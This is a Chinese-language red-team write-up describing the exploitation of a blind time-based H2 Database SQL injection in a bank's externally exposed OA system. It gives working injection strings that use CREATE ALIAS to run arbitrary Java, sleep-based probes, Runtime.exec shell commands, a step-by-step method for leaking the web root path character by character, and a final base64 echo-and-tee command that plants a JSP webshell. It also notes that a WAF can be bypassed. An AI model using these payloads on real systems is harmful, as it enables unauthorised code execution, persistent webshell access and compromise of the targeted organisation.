WebWW
这个案例是在做一次银行项目的红队评估工作中遇到的,该银行把OA办公系统放在外网,当时有同事审计出了该系统的H2 Database注入漏洞,一旦存在H2数据库注入漏洞,多数情况下都可以通过自定义函数的方式直接执行任意java代码。
当时遇到的H2数据库的注入漏洞是个延时注入点,利用起来有以下几个难点:
1 无法直接写入内存马,因为当时并没有H2数据库的内存马注入方法,后来由公司的观星实验室的Magic_Zero研究出了H2数据库写内存马的方法。
2 判断注入漏洞利用成功与否,只能通过延迟方法来判断,因为该H2数据库注入点没有回显,返回页面没啥变化。
3 该注入漏洞的TCP、UDP、DNS都不通,再次确认,注入点只能以延时方式来利用。
4 有waf防护,这个不是本文的重点,就不展开讲了,只要加一些脏数据就可以绕过waf。
为了充分利用此延时注入点写一个webshell,开始了一段波折的研究之路。
ABC_123在这里先举一个例子,让新手朋友了解一下H2注入漏洞的形式。如下图所示,和普通的sql注入漏洞一样,在uploadID=031后加上单引号,然后用;进行多语句拼接。需要注意的是,查询语句中的”CREATE ALIAS” 后面的VVbzPR043316部分我做了随机化处理,因为每次sql语句执行之后,这里的函数名都得再换个名字。
接下来为了演示方便,我只贴出具体的漏洞利用的java代码,大家实战使用的时候,直接在java代码前后拼接上H2数据库查询语句即可。
由于不知道绝对路径,写shell成了一个麻烦事,因为通过注入写shell,必须提前知道网站的绝对路径,然而依靠延时漏洞去一个字符一个字符地猜解绝对路径是非常非常耗费时间和精力的。Magic_Zero给我发了一个代码,我在虚拟机下测试成功,但是在这个生产环境中执行失败,具体命令如下所示:
uploadID=1';CREATE+ALIAS+fun669+AS+$$+void+f(String+cmd)+throws java.io.IOException+{(new+java.io.FileOutputStream(System.getProperty("user.dir")%2B"/webapps/ROOT/images/hello.txt")).write("helloworld".getBytes())%3B}$$;CALL+fun669('1');or '
接下来只能通过延时判断方法一个字符一个字符地把web绝对路径猜解出来了。在这里我们首先判断一下操作系统,具体java代码如下,如果网站返回出现延迟,说明操作系统是Linux的。
{ if(!System.getProperty("os.name").contains("win")){java.lang.Thread.sleep(10000);}
后来发现,需要改造一下java代码,变成如下形式即可:
{ java.lang.Runtime.getRuntime().exec(new String[]{"bash", "-c", "cmd"}
通过翻看源代码,发现该CMS存在一个图片login_btn_bg.png,于是通过执行find查找命令,将包含login_btn_bg.png的路径输出到/tmp/testpath.txt中。
java.lang.Runtime.getRuntime().exec(new String[]{"bash", "-c", "find / -name login_btn_bg.png > /tmp/login_btn.txt"});
上述java代码也保证了最终在testpath.txt中只有一行数据,如果是多行的话,那获取网站绝对路径需要猜解太多字符,工作量太大了。
接下来要想办法读/tmp/testpath.txt文件中网站的绝对路径,首先判断一下/tmp/testpath.txt中文本的长度,用折半法把绝对路径猜出来。以下两个语句说明,/tmp/testpath.txt文本中记录的绝对路径的长度,大约在50左右:
if(new java.io.File("/tmp/login_btn.txt").length() > 49) {java.lang.Thread.sleep(10000);} 延迟
if(new java.io.File("/tmp/login_btn.txt").length() > 51) {java.lang.Thread.sleep(10000);} 不延迟
动脑筋想办法加速延时注入
接下来要用延时注入的方法,把大约50长度的网站绝对路径一个字符一个字符地猜出来,这个时间非常慢,经过思考,可以通过以下方法大大减少延迟注入猜解的次数:
首先如下图所示,对于linux系统,网站存放的根目录,无非就是/root 、/home、 /usr 、/opt等目录:
接下来,通过延时注入判断网站绝对路径的第2个字符到底是h 还是o 还是r 还是 u等等(第1个字符就不用判断了,肯定是”/”)。
最终构造出Java语句如下:(记得当时我换了好几种java代码写法,这个是在当时环境中能用的)
java.io.File file = new java.io.File("/tmp/login_btn.txt");java.io.FileInputStream fis;fis = new java.io.FileInputStream(file);java.io.InputStreamReader isr = new java.io.InputStreamReader(fis);java.io.BufferedReader br = new java.io.BufferedReader(isr);char ch = br.readLine().charAt(1);if(ch=='u'){java.lang.Thread.sleep(10000);}
经过测试发现,当ch==’u’的时候,网站返回会延迟10秒,所以很容易猜解到绝对路径的开头的几个字母是/usr/
接下来判断/usr/后面的第一个字符,这个就得一个字符一个字符地猜解了,最后手气不错,猜到是e,于是得到绝对路径是/usr/e
动动脑筋,很容易推测绝对路径有可能是/usr/emobile/,那么如何证明是不是呢?只要判断第11个字符是不是e就可以了,经过判断是e。如下图所示:
接下来我跟同事要了一份该CMS系统的war包,参考着把剩余的路径拼接上:
得到最终的绝对路径:
/usr/emobile/webapps/ROOT/images/login_btn_bg.png
然后再通过echo命令写shell即可,由于jsp的webshell的各种特殊字符的干扰,直接用echo命令写shell需要将这些特殊字符转义,于是先把webshell进行base64编码,然后再通过linux命令解码写shell,具体代码如下:
echo PGpzcDpyb290IHc2lvbj0iMS4yIj48a == | base64 -d | tee /usr/***省略**/temp1231.jspx